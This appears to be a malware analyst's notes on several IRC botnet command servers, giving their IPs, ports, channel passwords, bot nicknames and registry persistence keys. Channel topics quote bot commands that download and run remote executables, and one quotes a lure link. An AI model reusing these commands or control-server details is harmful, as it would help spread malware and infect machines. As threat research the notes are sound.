94.75.216.31 (Anddos) botnet

94.75.216.31:6667
Nick: [nLh-VNC]ewuowy
Username: qtykph
Joined Channel: #dbot with Password pass
Channel Topic for Channel #dbot: ".h download http://www.sevgideyim.com/resimlerim.exe c:\sdffd.exe 1 "
Private Message to Channel #dbot: "RAGE: file running: 128 KB."
Private Message to Channel #dbot: "Samuray ^C13Anan\xfd sikkkkeeeeRimmmmmm G\xf6t\xfcnden"

channel: #ohai
Password: 0day
Topic Deleted: :.dl http://94.75.216.31:85/~anddos/rap/lsass3.exe c:\lsass3.exe 1

Channel list
#asn2 40
#asn3 1
#dbot 43 fuck off
#asn3b 2 .download http://www.tiklabosal.net/kral.exe c:\kral.exe 1
#dci-test2 1
#asnre 1 .download .download http://www.tiklabosal.net/kral.exe c:\kral.exe 1
#ohai2 21 .dl http://94.75.216.31:85/~anddos/dbot.exe c:\dbot.exe 1
#narod 2 .ver
#test1 30
#imbot4 1
#netapi 5
#dci 14
#asn 1 .download http://www.tiklabosal.net/kral.exe c:\kral.exe 1
#vnc 1
#dci-test 5
#Samuray 1

cod.sohbetodasi.info

84.201.14.35:6667
Nick: [N]ktmfudxx
Username: TMR
Joined Channel: ##msn##
Channel Topic for Channel ##msn##: "p umar\xfdm be\xf0enirsin.. al bakal\xfdm"

203.86.84.215 (ms08-067) botnet

203.86.84.215:9595
Channel: ##esp, ##rus

74.40.134.42 (ms08-067) exploit botnet (BLAZEBOT)

74.40.134.42:9595
Channel: ##esp, ##rus
NICK: {00-RUS-XP-SKLA-1644}
IDENT: MEAT

high.jweles.cn (Hidden)

*** IP of : 85.131.154.57 host high.jweles.cn
85.131.154.57:5555

Channel: #!high! h1ghsh1t
@hidz .msn.msg questa è la tua foto?? :P http://myspace-image.info/viewimage.php?=
NICK [00|USA|171262]
USER 2K-8552 * 0 :DDD-4C95834455D
MODE: [00|USA|171262] -ix

Autostart Path
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Windows Update Service = "msupdate32.exe"

Extract Path
"C:\DOCUME~1\User\LOCALS~1\Temp\IXP000.TMP\reptile.exe"
"C:\WINDOWS\msupdate32.exe"

mail.bestservicestores.com

*** IP of : 76.12.178.4 host mail.bestservicestores.com
76.12.178.4:8890
Nick: b0FAkmaUntzFn1EVh65f45Y1m
Username: XP-SP3
Server Pass: fak
Joined Channel: #zUPLEX with Password fuck

Autostart
HKLM\​SOFTWARE\​Microsoft\​Windows\​CurrentVersion\​Shell Extensions Melt
C:\​Zuplex_025725.exe
HKLM\​SYSTEM\​CurrentControlSet\​Control\​SafeBoot\​Minimal Windows Service Control C:\​Documents and Settings\​Administrator\​Application Data\​zupazxx.exe
HKLM\​SYSTEM\​CurrentControlSet\​Control\​SafeBoot\​Network Windows Service Control C:\​Documents and Settings\​Administrator\​Application Data\​zupazxx.exe

labtec.stupidnsm.cn (Hidden)

*** IP of : 85.131.154.57 host labtec.stupidnsm.cn
85.131.154.57:5555

NICK [00|USA|480852]
USER XP-8638 * 0 :DDD-4C95834455D
MODE [00|USA|480852] -ix
JOIN #!lab! labr0x

The new window was created, as shown below:


Autostart
LM\Software\Microsoft\Windows\CurrentVersion\Run\Windows Dynamic Library Cache "dllcaches.exe"